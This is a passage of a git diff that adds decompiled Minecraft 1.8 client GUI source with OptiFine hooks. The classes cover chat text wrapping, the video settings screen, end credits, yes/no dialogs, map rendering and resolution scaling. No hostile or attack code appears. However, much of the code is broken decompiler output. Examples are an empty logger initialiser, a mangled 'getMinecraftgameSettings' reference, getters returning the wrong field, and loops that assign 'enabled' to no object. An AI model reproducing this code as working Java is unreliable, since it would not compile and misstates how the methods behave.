+      else if (p_146199_1_ <= lineScrollOffset)
+      {
+        lineScrollOffset -= lineScrollOffset - p_146199_1_;
+      }
+      
+      lineScrollOffset = MathHelper.clamp_int(lineScrollOffset, 0, var2);
+    }
+  }
+  
+
+
+
+  public void setCanLoseFocus(boolean p_146205_1_)
+  {
+    canLoseFocus = p_146205_1_;
+  }
+  
+
+
+
+  public boolean getVisible()
+  {
+    return visible;
+  }
+  
+
+
+
+  public void setVisible(boolean p_146189_1_)
+  {
+    visible = p_146189_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiUtilRenderComponents.java b/src/minecraft/net/minecraft/client/gui/GuiUtilRenderComponents.java
new file mode 100644
index 0000000..f25b771
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiUtilRenderComponents.java
@@ -0,0 +1,109 @@
+package net.minecraft.client.gui;
+
+import java.util.ArrayList;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.IChatComponent;
+
+public class GuiUtilRenderComponents
+{
+  private static final String __OBFID = "CL_00001957";
+  
+  public GuiUtilRenderComponents() {}
+  
+  public static String func_178909_a(String p_178909_0_, boolean p_178909_1_)
+  {
+    return (!p_178909_1_) && (!getMinecraftgameSettings.chatColours) ? net.minecraft.util.EnumChatFormatting.getTextWithoutFormattingCodes(p_178909_0_) : p_178909_0_;
+  }
+  
+  public static java.util.List func_178908_a(IChatComponent p_178908_0_, int p_178908_1_, FontRenderer p_178908_2_, boolean p_178908_3_, boolean p_178908_4_)
+  {
+    int var5 = 0;
+    ChatComponentText var6 = new ChatComponentText("");
+    ArrayList var7 = com.google.common.collect.Lists.newArrayList();
+    ArrayList var8 = com.google.common.collect.Lists.newArrayList(p_178908_0_);
+    
+    for (int var9 = 0; var9 < var8.size(); var9++)
+    {
+      IChatComponent var10 = (IChatComponent)var8.get(var9);
+      String var11 = var10.getUnformattedTextForChat();
+      boolean var12 = false;
+      
+
+      if (var11.contains("\n"))
+      {
+        int var13 = var11.indexOf('\n');
+        String var14 = var11.substring(var13 + 1);
+        var11 = var11.substring(0, var13 + 1);
+        ChatComponentText var15 = new ChatComponentText(var14);
+        var15.setChatStyle(var10.getChatStyle().createShallowCopy());
+        var8.add(var9 + 1, var15);
+        var12 = true;
+      }
+      
+      String var21 = func_178909_a(var10.getChatStyle().getFormattingCode() + var11, p_178908_4_);
+      String var14 = var21.endsWith("\n") ? var21.substring(0, var21.length() - 1) : var21;
+      int var22 = p_178908_2_.getStringWidth(var14);
+      ChatComponentText var16 = new ChatComponentText(var14);
+      var16.setChatStyle(var10.getChatStyle().createShallowCopy());
+      
+      if (var5 + var22 > p_178908_1_)
+      {
+        String var17 = p_178908_2_.trimStringToWidth(var21, p_178908_1_ - var5, false);
+        String var18 = var17.length() < var21.length() ? var21.substring(var17.length()) : null;
+        
+        if ((var18 != null) && (var18.length() > 0))
+        {
+          int var19 = var17.lastIndexOf(" ");
+          
+          if ((var19 >= 0) && (p_178908_2_.getStringWidth(var21.substring(0, var19)) > 0))
+          {
+            var17 = var21.substring(0, var19);
+            
+            if (p_178908_3_)
+            {
+              var19++;
+            }
+            
+            var18 = var21.substring(var19);
+          }
+          else if ((var5 > 0) && (!var21.contains(" ")))
+          {
+            var17 = "";
+            var18 = var21;
+          }
+          
+          ChatComponentText var20 = new ChatComponentText(var18);
+          var20.setChatStyle(var10.getChatStyle().createShallowCopy());
+          var8.add(var9 + 1, var20);
+        }
+        
+        var22 = p_178908_2_.getStringWidth(var17);
+        var16 = new ChatComponentText(var17);
+        var16.setChatStyle(var10.getChatStyle().createShallowCopy());
+        var12 = true;
+      }
+      
+      if (var5 + var22 <= p_178908_1_)
+      {
+        var5 += var22;
+        var6.appendSibling(var16);
+      }
+      else
+      {
+        var12 = true;
+      }
+      
+      if (var12)
+      {
+        var7.add(var6);
+        var5 = 0;
+        var6 = new ChatComponentText("");
+      }
+    }
+    
+    var7.add(var6);
+    return var7;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiVideoSettings.java b/src/minecraft/net/minecraft/client/gui/GuiVideoSettings.java
new file mode 100644
index 0000000..945bc85
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiVideoSettings.java
@@ -0,0 +1,219 @@
+package net.minecraft.client.gui;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+import optifine.Config;
+import optifine.GuiAnimationSettingsOF;
+import optifine.GuiDetailSettingsOF;
+import optifine.GuiOtherSettingsOF;
+import optifine.GuiPerformanceSettingsOF;
+import optifine.GuiQualitySettingsOF;
+import optifine.Lang;
+import optifine.TooltipManager;
+import shadersmod.client.GuiShaders;
+
+public class GuiVideoSettings extends GuiScreen
+{
+  private GuiScreen parentGuiScreen;
+  protected String screenTitle = "Video Settings";
+  
+  private GameSettings guiGameSettings;
+  
+  private static GameSettings.Options[] videoOptions = { GameSettings.Options.GRAPHICS, GameSettings.Options.RENDER_DISTANCE, GameSettings.Options.AMBIENT_OCCLUSION, GameSettings.Options.FRAMERATE_LIMIT, GameSettings.Options.AO_LEVEL, GameSettings.Options.VIEW_BOBBING, GameSettings.Options.GUI_SCALE, GameSettings.Options.USE_VBO, GameSettings.Options.GAMMA, GameSettings.Options.BLOCK_ALTERNATIVES, GameSettings.Options.FOG_FANCY, GameSettings.Options.FOG_START };
+  private static final String __OBFID = "CL_00000718";
+  private TooltipManager tooltipManager = new TooltipManager(this);
+  
+  public GuiVideoSettings(GuiScreen par1GuiScreen, GameSettings par2GameSettings)
+  {
+    parentGuiScreen = par1GuiScreen;
+    guiGameSettings = par2GameSettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    screenTitle = I18n.format("options.videoTitle", new Object[0]);
+    buttonList.clear();
+    
+
+    for (int y = 0; y < videoOptions.length; y++)
+    {
+      GameSettings.Options x = videoOptions[y];
+      
+      if (x != null)
+      {
+        int x1 = width / 2 - 155 + y % 2 * 160;
+        int y1 = height / 6 + 21 * (y / 2) - 12;
+        
+        if (x.getEnumFloat())
+        {
+          buttonList.add(new optifine.GuiOptionSliderOF(x.returnEnumOrdinal(), x1, y1, x));
+        }
+        else
+        {
+          buttonList.add(new optifine.GuiOptionButtonOF(x.returnEnumOrdinal(), x1, y1, x, guiGameSettings.getKeyBinding(x)));
+        }
+      }
+    }
+    
+    y = height / 6 + 21 * (videoOptions.length / 2) - 12;
+    boolean var5 = false;
+    int var6 = width / 2 - 155 + 0;
+    buttonList.add(new GuiOptionButton(231, var6, y, Lang.get("of.options.shaders")));
+    var6 = width / 2 - 155 + 160;
+    buttonList.add(new GuiOptionButton(202, var6, y, Lang.get("of.options.quality")));
+    y += 21;
+    var6 = width / 2 - 155 + 0;
+    buttonList.add(new GuiOptionButton(201, var6, y, Lang.get("of.options.details")));
+    var6 = width / 2 - 155 + 160;
+    buttonList.add(new GuiOptionButton(212, var6, y, Lang.get("of.options.performance")));
+    y += 21;
+    var6 = width / 2 - 155 + 0;
+    buttonList.add(new GuiOptionButton(211, var6, y, Lang.get("of.options.animations")));
+    var6 = width / 2 - 155 + 160;
+    buttonList.add(new GuiOptionButton(222, var6, y, Lang.get("of.options.other")));
+    y += 21;
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168 + 11, I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (enabled)
+    {
+      int guiScale = guiGameSettings.guiScale;
+      
+      if ((id < 200) && ((button instanceof GuiOptionButton)))
+      {
+        guiGameSettings.setOptionValue(((GuiOptionButton)button).returnEnumOptions(), 1);
+        displayString = guiGameSettings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(parentGuiScreen);
+      }
+      
+      if (guiGameSettings.guiScale != guiScale)
+      {
+        ScaledResolution scr = new ScaledResolution(mc);
+        int var4 = scr.getScaledWidth();
+        int var5 = scr.getScaledHeight();
+        setWorldAndResolution(mc, var4, var5);
+      }
+      
+      if (id == 201)
+      {
+        mc.gameSettings.saveOptions();
+        GuiDetailSettingsOF scr1 = new GuiDetailSettingsOF(this, guiGameSettings);
+        mc.displayGuiScreen(scr1);
+      }
+      
+      if (id == 202)
+      {
+        mc.gameSettings.saveOptions();
+        GuiQualitySettingsOF scr2 = new GuiQualitySettingsOF(this, guiGameSettings);
+        mc.displayGuiScreen(scr2);
+      }
+      
+      if (id == 211)
+      {
+        mc.gameSettings.saveOptions();
+        GuiAnimationSettingsOF scr3 = new GuiAnimationSettingsOF(this, guiGameSettings);
+        mc.displayGuiScreen(scr3);
+      }
+      
+      if (id == 212)
+      {
+        mc.gameSettings.saveOptions();
+        GuiPerformanceSettingsOF scr4 = new GuiPerformanceSettingsOF(this, guiGameSettings);
+        mc.displayGuiScreen(scr4);
+      }
+      
+      if (id == 222)
+      {
+        mc.gameSettings.saveOptions();
+        GuiOtherSettingsOF scr5 = new GuiOtherSettingsOF(this, guiGameSettings);
+        mc.displayGuiScreen(scr5);
+      }
+      
+      if (id == 231)
+      {
+        if ((Config.isAntialiasing()) || (Config.isAntialiasingConfigured()))
+        {
+          Config.showGuiMessage(Lang.get("of.message.shaders.aa1"), Lang.get("of.message.shaders.aa2"));
+          return;
+        }
+        
+        if (Config.isAnisotropicFiltering())
+        {
+          Config.showGuiMessage(Lang.get("of.message.shaders.af1"), Lang.get("of.message.shaders.af2"));
+          return;
+        }
+        
+        if (Config.isFastRender())
+        {
+          Config.showGuiMessage(Lang.get("of.message.shaders.fr1"), Lang.get("of.message.shaders.fr2"));
+          return;
+        }
+        
+        mc.gameSettings.saveOptions();
+        GuiShaders scr6 = new GuiShaders(this, guiGameSettings);
+        mc.displayGuiScreen(scr6);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float z)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, screenTitle, width / 2, 15, 16777215);
+    String ver = Config.getVersion();
+    String ed = "HD_U";
+    
+    if (ed.equals("HD"))
+    {
+      ver = "OptiFine HD H6";
+    }
+    
+    if (ed.equals("HD_U"))
+    {
+      ver = "OptiFine HD H6 Ultra";
+    }
+    
+    if (ed.equals("L"))
+    {
+      ver = "OptiFine H6 Light";
+    }
+    
+    drawString(fontRendererObj, ver, 2, height - 10, 8421504);
+    String verMc = "Minecraft 1.8";
+    int lenMc = fontRendererObj.getStringWidth(verMc);
+    drawString(fontRendererObj, verMc, width - lenMc - 2, height - 10, 8421504);
+    super.drawScreen(x, y, z);
+    tooltipManager.drawTooltips(x, y, buttonList);
+  }
+  
+  public static int getButtonWidth(GuiButton btn)
+  {
+    return width;
+  }
+  
+  public static int getButtonHeight(GuiButton btn)
+  {
+    return height;
+  }
+  
+  public static void drawGradientRect(GuiScreen guiScreen, int left, int top, int right, int bottom, int startColor, int endColor)
+  {
+    guiScreen.drawGradientRect(left, top, right, bottom, startColor, endColor);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiWinGame.java b/src/minecraft/net/minecraft/client/gui/GuiWinGame.java
new file mode 100644
index 0000000..2a39704
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiWinGame.java
@@ -0,0 +1,231 @@
+package net.minecraft.client.gui;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Session;
+import org.apache.commons.io.Charsets;
+import org.apache.logging.log4j.Logger;
+
+public class GuiWinGame extends GuiScreen
+{
+  private static final Logger logger = ;
+  private static final ResourceLocation field_146576_f = new ResourceLocation("textures/gui/title/minecraft.png");
+  private static final ResourceLocation field_146577_g = new ResourceLocation("textures/misc/vignette.png");
+  private int field_146581_h;
+  private List field_146582_i;
+  private int field_146579_r;
+  private float field_146578_s = 0.5F;
+  
+  private static final String __OBFID = "CL_00000719";
+  
+  public GuiWinGame() {}
+  
+  public void updateScreen()
+  {
+    field_146581_h += 1;
+    float var1 = (field_146579_r + height + height + 24) / field_146578_s;
+    
+    if (field_146581_h > var1)
+    {
+      sendRespawnPacket();
+    }
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws java.io.IOException
+  {
+    if (keyCode == 1)
+    {
+      sendRespawnPacket();
+    }
+  }
+  
+  private void sendRespawnPacket()
+  {
+    mc.thePlayer.sendQueue.addToSendQueue(new net.minecraft.network.play.client.C16PacketClientStatus(net.minecraft.network.play.client.C16PacketClientStatus.EnumState.PERFORM_RESPAWN));
+    mc.displayGuiScreen(null);
+  }
+  
+
+
+
+  public boolean doesGuiPauseGame()
+  {
+    return true;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    if (field_146582_i == null)
+    {
+      field_146582_i = com.google.common.collect.Lists.newArrayList();
+      
+      try
+      {
+        String var1 = "";
+        String var2 = EnumChatFormatting.WHITE + EnumChatFormatting.OBFUSCATED + EnumChatFormatting.GREEN + EnumChatFormatting.AQUA;
+        short var3 = 274;
+        BufferedReader var4 = new BufferedReader(new InputStreamReader(mc.getResourceManager().getResource(new ResourceLocation("texts/end.txt")).getInputStream(), Charsets.UTF_8));
+        Random var5 = new Random(8124371L);
+        
+
+        while ((var1 = var4.readLine()) != null)
+        {
+          String var7;
+          
+          String var8;
+          for (var1 = var1.replaceAll("PLAYERNAME", mc.getSession().getUsername()); var1.contains(var2); var1 = var7 + EnumChatFormatting.WHITE + EnumChatFormatting.OBFUSCATED + "XXXXXXXX".substring(0, var5.nextInt(4) + 3) + var8)
+          {
+            int var6 = var1.indexOf(var2);
+            var7 = var1.substring(0, var6);
+            var8 = var1.substring(var6 + var2.length());
+          }
+          
+          field_146582_i.addAll(mc.fontRendererObj.listFormattedStringToWidth(var1, var3));
+          field_146582_i.add("");
+        }
+        
+        for (int var6 = 0; var6 < 8; var6++)
+        {
+          field_146582_i.add("");
+        }
+        
+        var4 = new BufferedReader(new InputStreamReader(mc.getResourceManager().getResource(new ResourceLocation("texts/credits.txt")).getInputStream(), Charsets.UTF_8));
+        
+        while ((var1 = var4.readLine()) != null)
+        {
+          var1 = var1.replaceAll("PLAYERNAME", mc.getSession().getUsername());
+          var1 = var1.replaceAll("\t", "    ");
+          field_146582_i.addAll(mc.fontRendererObj.listFormattedStringToWidth(var1, var3));
+          field_146582_i.add("");
+        }
+        
+        field_146579_r = (field_146582_i.size() * 12);
+      }
+      catch (Exception var9)
+      {
+        logger.error("Couldn't load credits", var9);
+      }
+    }
+  }
+  
+  private void drawWinGameScreen(int p_146575_1_, int p_146575_2_, float p_146575_3_)
+  {
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    mc.getTextureManager().bindTexture(Gui.optionsBackground);
+    var5.startDrawingQuads();
+    var5.func_178960_a(1.0F, 1.0F, 1.0F, 1.0F);
+    int var6 = width;
+    float var7 = 0.0F - (field_146581_h + p_146575_3_) * 0.5F * field_146578_s;
+    float var8 = height - (field_146581_h + p_146575_3_) * 0.5F * field_146578_s;
+    float var9 = 0.015625F;
+    float var10 = (field_146581_h + p_146575_3_ - 0.0F) * 0.02F;
+    float var11 = (field_146579_r + height + height + 24) / field_146578_s;
+    float var12 = (var11 - 20.0F - (field_146581_h + p_146575_3_)) * 0.005F;
+    
+    if (var12 < var10)
+    {
+      var10 = var12;
+    }
+    
+    if (var10 > 1.0F)
+    {
+      var10 = 1.0F;
+    }
+    
+    var10 *= var10;
+    var10 = var10 * 96.0F / 255.0F;
+    var5.func_178986_b(var10, var10, var10);
+    var5.addVertexWithUV(0.0D, height, zLevel, 0.0D, var7 * var9);
+    var5.addVertexWithUV(var6, height, zLevel, var6 * var9, var7 * var9);
+    var5.addVertexWithUV(var6, 0.0D, zLevel, var6 * var9, var8 * var9);
+    var5.addVertexWithUV(0.0D, 0.0D, zLevel, 0.0D, var8 * var9);
+    var4.draw();
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawWinGameScreen(mouseX, mouseY, partialTicks);
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    short var6 = 274;
+    int var7 = width / 2 - var6 / 2;
+    int var8 = height + 50;
+    float var9 = -(field_146581_h + partialTicks) * field_146578_s;
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(0.0F, var9, 0.0F);
+    mc.getTextureManager().bindTexture(field_146576_f);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    drawTexturedModalRect(var7, var8, 0, 0, 155, 44);
+    drawTexturedModalRect(var7 + 155, var8, 0, 45, 155, 44);
+    var5.func_178991_c(16777215);
+    int var10 = var8 + 200;
+    
+
+    for (int var11 = 0; var11 < field_146582_i.size(); var11++)
+    {
+      if (var11 == field_146582_i.size() - 1)
+      {
+        float var12 = var10 + var9 - (height / 2 - 6);
+        
+        if (var12 < 0.0F)
+        {
+          GlStateManager.translate(0.0F, -var12, 0.0F);
+        }
+      }
+      
+      if ((var10 + var9 + 12.0F + 8.0F > 0.0F) && (var10 + var9 < height))
+      {
+        String var13 = (String)field_146582_i.get(var11);
+        
+        if (var13.startsWith("[C]"))
+        {
+          fontRendererObj.drawStringWithShadow(var13.substring(3), var7 + (var6 - fontRendererObj.getStringWidth(var13.substring(3))) / 2, var10, 16777215);
+        }
+        else
+        {
+          fontRendererObj.fontRandom.setSeed(var11 * 4238972211L + field_146581_h / 4);
+          fontRendererObj.drawStringWithShadow(var13, var7, var10, 16777215);
+        }
+      }
+      
+      var10 += 12;
+    }
+    
+    GlStateManager.popMatrix();
+    mc.getTextureManager().bindTexture(field_146577_g);
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(0, 769);
+    var5.startDrawingQuads();
+    var5.func_178960_a(1.0F, 1.0F, 1.0F, 1.0F);
+    var11 = width;
+    int var14 = height;
+    var5.addVertexWithUV(0.0D, var14, zLevel, 0.0D, 1.0D);
+    var5.addVertexWithUV(var11, var14, zLevel, 1.0D, 1.0D);
+    var5.addVertexWithUV(var11, 0.0D, zLevel, 1.0D, 0.0D);
+    var5.addVertexWithUV(0.0D, 0.0D, zLevel, 0.0D, 0.0D);
+    var4.draw();
+    GlStateManager.disableBlend();
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiYesNo.java b/src/minecraft/net/minecraft/client/gui/GuiYesNo.java
new file mode 100644
index 0000000..a0ff9c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiYesNo.java
@@ -0,0 +1,112 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.resources.I18n;
+
+
+
+public class GuiYesNo
+  extends GuiScreen
+{
+  protected GuiYesNoCallback parentScreen;
+  protected String messageLine1;
+  private String messageLine2;
+  private final List field_175298_s = Lists.newArrayList();
+  
+  protected String confirmButtonText;
+  
+  protected String cancelButtonText;
+  
+  protected int parentButtonClickedId;
+  
+  private int ticksUntilEnable;
+  private static final String __OBFID = "CL_00000684";
+  
+  public GuiYesNo(GuiYesNoCallback p_i1082_1_, String p_i1082_2_, String p_i1082_3_, int p_i1082_4_)
+  {
+    parentScreen = p_i1082_1_;
+    messageLine1 = p_i1082_2_;
+    messageLine2 = p_i1082_3_;
+    parentButtonClickedId = p_i1082_4_;
+    confirmButtonText = I18n.format("gui.yes", new Object[0]);
+    cancelButtonText = I18n.format("gui.no", new Object[0]);
+  }
+  
+  public GuiYesNo(GuiYesNoCallback p_i1083_1_, String p_i1083_2_, String p_i1083_3_, String p_i1083_4_, String p_i1083_5_, int p_i1083_6_)
+  {
+    parentScreen = p_i1083_1_;
+    messageLine1 = p_i1083_2_;
+    messageLine2 = p_i1083_3_;
+    confirmButtonText = p_i1083_4_;
+    cancelButtonText = p_i1083_5_;
+    parentButtonClickedId = p_i1083_6_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    buttonList.add(new GuiOptionButton(0, width / 2 - 155, height / 6 + 96, confirmButtonText));
+    buttonList.add(new GuiOptionButton(1, width / 2 - 155 + 160, height / 6 + 96, cancelButtonText));
+    field_175298_s.clear();
+    field_175298_s.addAll(fontRendererObj.listFormattedStringToWidth(messageLine2, width - 50));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws IOException
+  {
+    parentScreen.confirmClicked(id == 0, parentButtonClickedId);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, messageLine1, width / 2, 70, 16777215);
+    int var4 = 90;
+    
+    for (Iterator var5 = field_175298_s.iterator(); var5.hasNext(); var4 += fontRendererObj.FONT_HEIGHT)
+    {
+      String var6 = (String)var5.next();
+      drawCenteredString(fontRendererObj, var6, width / 2, var4, 16777215);
+    }
+    
+    super.drawScreen(mouseX, mouseY, partialTicks);
+  }
+  
+
+
+
+  public void setButtonDelay(int p_146350_1_)
+  {
+    ticksUntilEnable = p_146350_1_;
+    
+    GuiButton var3;
+    for (Iterator var2 = buttonList.iterator(); var2.hasNext(); enabled = false)
+    {
+      var3 = (GuiButton)var2.next();
+    }
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    
+
+    if (--ticksUntilEnable == 0) {
+      GuiButton var2;
+      for (Iterator var1 = buttonList.iterator(); var1.hasNext(); enabled = true)
+      {
+        var2 = (GuiButton)var1.next();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiYesNoCallback.java b/src/minecraft/net/minecraft/client/gui/GuiYesNoCallback.java
new file mode 100644
index 0000000..3685b70
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiYesNoCallback.java
@@ -0,0 +1,6 @@
+package net.minecraft.client.gui;
+
+public abstract interface GuiYesNoCallback
+{
+  public abstract void confirmClicked(boolean paramBoolean, int paramInt);
+}
diff --git a/src/minecraft/net/minecraft/client/gui/IProgressMeter.java b/src/minecraft/net/minecraft/client/gui/IProgressMeter.java
new file mode 100644
index 0000000..1a451cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/IProgressMeter.java
@@ -0,0 +1,8 @@
+package net.minecraft.client.gui;
+
+public abstract interface IProgressMeter
+{
+  public static final String[] lanSearchStates = { "oooooo", "Oooooo", "oOoooo", "ooOooo", "oooOoo", "ooooOo", "oooooO" };
+  
+  public abstract void doneLoading();
+}
diff --git a/src/minecraft/net/minecraft/client/gui/MapItemRenderer.java b/src/minecraft/net/minecraft/client/gui/MapItemRenderer.java
new file mode 100644
index 0000000..862ffdf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/MapItemRenderer.java
@@ -0,0 +1,165 @@
+package net.minecraft.client.gui;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec4b;
+import net.minecraft.world.storage.MapData;
+
+public class MapItemRenderer
+{
+  private static final ResourceLocation mapIcons = new ResourceLocation("textures/map/map_icons.png");
+  private final TextureManager textureManager;
+  private final Map loadedMaps = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000663";
+  
+  public MapItemRenderer(TextureManager p_i45009_1_)
+  {
+    textureManager = p_i45009_1_;
+  }
+  
+  public void func_148246_a(MapData p_148246_1_)
+  {
+    func_148248_b(p_148246_1_).func_148236_a();
+  }
+  
+  public void func_148250_a(MapData p_148250_1_, boolean p_148250_2_)
+  {
+    func_148248_b(p_148250_1_).func_148237_a(p_148250_2_);
+  }
+  
+  private Instance func_148248_b(MapData p_148248_1_)
+  {
+    Instance var2 = (Instance)loadedMaps.get(mapName);
+    
+    if (var2 == null)
+    {
+      var2 = new Instance(p_148248_1_, null);
+      loadedMaps.put(mapName, var2);
+    }
+    
+    return var2;
+  }
+  
+  public void func_148249_a()
+  {
+    Iterator var1 = loadedMaps.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      Instance var2 = (Instance)var1.next();
+      textureManager.deleteTexture(field_148240_d);
+    }
+    
+    loadedMaps.clear();
+  }
+  
+  class Instance
+  {
+    private final MapData field_148242_b;
+    private final DynamicTexture field_148243_c;
+    private final ResourceLocation field_148240_d;
+    private final int[] field_148241_e;
+    private static final String __OBFID = "CL_00000665";
+    
+    private Instance(MapData p_i45007_2_)
+    {
+      field_148242_b = p_i45007_2_;
+      field_148243_c = new DynamicTexture(128, 128);
+      field_148241_e = field_148243_c.getTextureData();
+      field_148240_d = textureManager.getDynamicTextureLocation("map/" + mapName, field_148243_c);
+      
+      for (int var3 = 0; var3 < field_148241_e.length; var3++)
+      {
+        field_148241_e[var3] = 0;
+      }
+    }
+    
+    private void func_148236_a()
+    {
+      for (int var1 = 0; var1 < 16384; var1++)
+      {
+        int var2 = field_148242_b.colors[var1] & 0xFF;
+        
+        if (var2 / 4 == 0)
+        {
+          field_148241_e[var1] = ((var1 + var1 / 128 & 0x1) * 8 + 16 << 24);
+        }
+        else
+        {
+          field_148241_e[var1] = net.minecraft.block.material.MapColor.mapColorArray[(var2 / 4)].func_151643_b(var2 & 0x3);
+        }
+      }
+      
+      field_148243_c.updateDynamicTexture();
+    }
+    
+    private void func_148237_a(boolean p_148237_1_)
+    {
+      byte var2 = 0;
+      byte var3 = 0;
+      Tessellator var4 = Tessellator.getInstance();
+      WorldRenderer var5 = var4.getWorldRenderer();
+      float var6 = 0.0F;
+      textureManager.bindTexture(field_148240_d);
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(1, 771, 0, 1);
+      GlStateManager.disableAlpha();
+      var5.startDrawingQuads();
+      var5.addVertexWithUV(var2 + 0 + var6, var3 + 128 - var6, -0.009999999776482582D, 0.0D, 1.0D);
+      var5.addVertexWithUV(var2 + 128 - var6, var3 + 128 - var6, -0.009999999776482582D, 1.0D, 1.0D);
+      var5.addVertexWithUV(var2 + 128 - var6, var3 + 0 + var6, -0.009999999776482582D, 1.0D, 0.0D);
+      var5.addVertexWithUV(var2 + 0 + var6, var3 + 0 + var6, -0.009999999776482582D, 0.0D, 0.0D);
+      var4.draw();
+      GlStateManager.enableAlpha();
+      GlStateManager.disableBlend();
+      textureManager.bindTexture(MapItemRenderer.mapIcons);
+      int var7 = 0;
+      Iterator var8 = field_148242_b.playersVisibleOnMap.values().iterator();
+      
+      while (var8.hasNext())
+      {
+        Vec4b var9 = (Vec4b)var8.next();
+        
+        if ((!p_148237_1_) || (var9.func_176110_a() == 1))
+        {
+          GlStateManager.pushMatrix();
+          GlStateManager.translate(var2 + var9.func_176112_b() / 2.0F + 64.0F, var3 + var9.func_176113_c() / 2.0F + 64.0F, -0.02F);
+          GlStateManager.rotate(var9.func_176111_d() * 360 / 16.0F, 0.0F, 0.0F, 1.0F);
+          GlStateManager.scale(4.0F, 4.0F, 3.0F);
+          GlStateManager.translate(-0.125F, 0.125F, 0.0F);
+          byte var10 = var9.func_176110_a();
+          float var11 = (var10 % 4 + 0) / 4.0F;
+          float var12 = (var10 / 4 + 0) / 4.0F;
+          float var13 = (var10 % 4 + 1) / 4.0F;
+          float var14 = (var10 / 4 + 1) / 4.0F;
+          var5.startDrawingQuads();
+          var5.addVertexWithUV(-1.0D, 1.0D, var7 * 0.001F, var11, var12);
+          var5.addVertexWithUV(1.0D, 1.0D, var7 * 0.001F, var13, var12);
+          var5.addVertexWithUV(1.0D, -1.0D, var7 * 0.001F, var13, var14);
+          var5.addVertexWithUV(-1.0D, -1.0D, var7 * 0.001F, var11, var14);
+          var4.draw();
+          GlStateManager.popMatrix();
+          var7++;
+        }
+      }
+      
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, 0.0F, -0.04F);
+      GlStateManager.scale(1.0F, 1.0F, 1.0F);
+      GlStateManager.popMatrix();
+    }
+    
+    Instance(MapData p_i45008_2_, Object p_i45008_3_)
+    {
+      this(p_i45008_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/ScaledResolution.java b/src/minecraft/net/minecraft/client/gui/ScaledResolution.java
new file mode 100644
index 0000000..b5e1860
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/ScaledResolution.java
@@ -0,0 +1,68 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.MathHelper;
+
+public class ScaledResolution
+{
+  private final double scaledWidthD;
+  private final double scaledHeightD;
+  private int scaledWidth;
+  private int scaledHeight;
+  private int scaleFactor;
+  private static final String __OBFID = "CL_00000666";
+  
+  public ScaledResolution(Minecraft mcIn)
+  {
+    scaledWidth = displayWidth;
+    scaledHeight = displayHeight;
+    scaleFactor = 1;
+    boolean var4 = mcIn.isUnicode();
+    int var5 = gameSettings.guiScale;
+    
+    if (var5 == 0)
+    {
+      var5 = 1000;
+    }
+    
